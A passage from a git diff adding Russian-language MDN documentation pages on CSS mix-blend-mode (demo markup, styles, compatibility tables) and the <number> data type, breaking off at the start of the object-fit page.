+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;Blending globally (blend with the background)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  height: auto;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+  height: auto;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  position: relative;
+  background: linear-gradient(to right, #000 0%, transparent 50%, #FFF 100%),
+              linear-gradient(to bottom, #FF0 0%, #F0F 50%, #0FF 100%);
+  width: 150px;
+  height: 150px;
+  margin: 0 auto;
+}
+
+.R {
+  transform-origin: center;
+  transform: rotate(-30deg);
+  fill: url(#red);
+}
+
+.G {
+  transform-origin: center;
+  transform: rotate(90deg);
+  fill: url(#green);
+}
+
+.B {
+  transform-origin: center;
+  transform: rotate(210deg);
+  fill: url(#blue);
+}
+
+.isolate .group { isolation: isolate; }
+
+.normal .item      { mix-blend-mode: normal; }
+.multiply .item    { mix-blend-mode: multiply; }
+.screen .item      { mix-blend-mode: screen; }
+.overlay .item     { mix-blend-mode: overlay; }
+.darken .item      { mix-blend-mode: darken; }
+.lighten .item     { mix-blend-mode: lighten; }
+.color-dodge .item { mix-blend-mode: color-dodge; }
+.color-burn .item  { mix-blend-mode: color-burn; }
+.hard-light .item  { mix-blend-mode: hard-light; }
+.soft-light .item  { mix-blend-mode: soft-light; }
+.difference .item  { mix-blend-mode: difference; }
+.exclusion .item   { mix-blend-mode: exclusion; }
+.hue .item         { mix-blend-mode: hue; }
+.saturation .item  { mix-blend-mode: saturation; }
+.color .item       { mix-blend-mode: color; }
+.luminosity .item  { mix-blend-mode: luminosity; }
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}</p>
+
+<h3 id="Пример_HTML">Пример HTML</h3>
+
+<pre class="brush: html">&lt;div class="isolate"&gt;
+  &lt;div class="circle circle-1"&gt;&lt;/div&gt;
+  &lt;div class="circle circle-2"&gt;&lt;/div&gt;
+  &lt;div class="circle circle-3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css"><code>.</code>circle {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+  mix-blend-mode: screen;
+  position: absolute;
+}
+
+.circle-1 {
+  background: red;
+}
+
+.circle-2 {
+  background: lightgreen;
+  left: 40px;
+}
+
+.circle-3 {
+  background: blue;
+  left: 20px;
+  top: 40px;
+}
+
+.isolate {
+  isolation: isolate; /* Без isolation, цвет фона будет учитываться */
+  position: relative;
+}</pre>
+
+<p>{{EmbedLiveSample("Пример_HTML", "100%", "180")}}</p>
+
+<h3 id="Пример_SVG">Пример SVG</h3>
+
+<p>Этот пример повторяет предыдущий с использованием SVG.</p>
+
+<pre class="brush: html">&lt;svg&gt;
+  &lt;g class="isolate"&gt;
+    &lt;circle cx="40" cy="40" r="40" fill="red"/&gt;
+    &lt;circle cx="80" cy="40" r="40" fill="lightgreen"/&gt;
+    &lt;circle cx="60" cy="80" r="40" fill="blue"/&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* Без isolation, цвет фона будет учитываться */</pre>
+
+<p>{{EmbedLiveSample("Пример_SVG", "100%", "180")}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.mix-blend-mode")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/ru/web/css/number/index.html b/files/ru/web/css/number/index.html
new file mode 100644
index 0000000000..325e4954b7
--- /dev/null
+++ b/files/ru/web/css/number/index.html
@@ -0,0 +1,139 @@
+---
+title: <number>
+slug: Web/CSS/number
+translation_of: Web/CSS/number
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;number&gt;</code></strong> - <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Types">тип хранения данных</a> в <a href="/en-US/docs/Web/CSS">CSS</a>  представляющий собой число: либо целое, либо с дробной частью.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Синтаксис <code>&lt;number&gt;</code> расширяет синтаксис {{cssxref("&lt;integer&gt;")}}. Дробное значение представлено с помощью <code>.</code>, после которой стоит одна (или более) цифра, и может быть присоединено к целочисленному типу данных. Не существует единицы измерения, связанной с числами.</p>
+
+<h2 id="Интерполяция">Интерполяция</h2>
+
+<p>Во время анимации, значения типа данных CSS <code>&lt;number&gt;</code> являются интерполированными как числа вещественные или с плавающей точкой. Скорость интерполяции определена <a href="/en-US/docs/Web/CSS/single-transition-timing-function">timing function</a>, связанной с анимацией.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Корректные_числа">Корректные числа</h3>
+
+<pre>12          Ряд, состоящий из &lt;integer&gt;, также является &lt;number&gt;.
+4.01        Положительное число с плавающей точкой
+-456.8      Отрицательно число с плавающей точкой
+0.0         Нуль
++0.0        Нуль, с + перед ним
+-0.0        Нуль, с - перед ним
+.60         Дробное число без присутствия нуля
+10e3        Научное обозначение
+-3.4e-2     Сложное научное обозначение
+</pre>
+
+<h3 id="Некорректные_числа">Некорректные числа</h3>
+
+<pre class="example-bad">12.         После дробных чисел должна присутствовать как минимум 1 цифра.
++-12.2      Одновременно перед числом допустимо ставить только один из симоволов +/-.
+12.1.1      Разрешена только одна "дробная" точка.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#numbers', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Нет значительных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Явное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Неявное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td>Научное обозначение</td>
+   <td>43.0</td>
+   <td>29</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Научное обозначение</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+</ul>
diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html
new file mode 100644
index 0000000000..098d5875e3
--- /dev/null
+++ b/files/ru/web/css/object-fit/index.html
@@ -0,0 +1,162 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+tags:
+  - CSS
+  - CSS Property
+  - object-fit
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
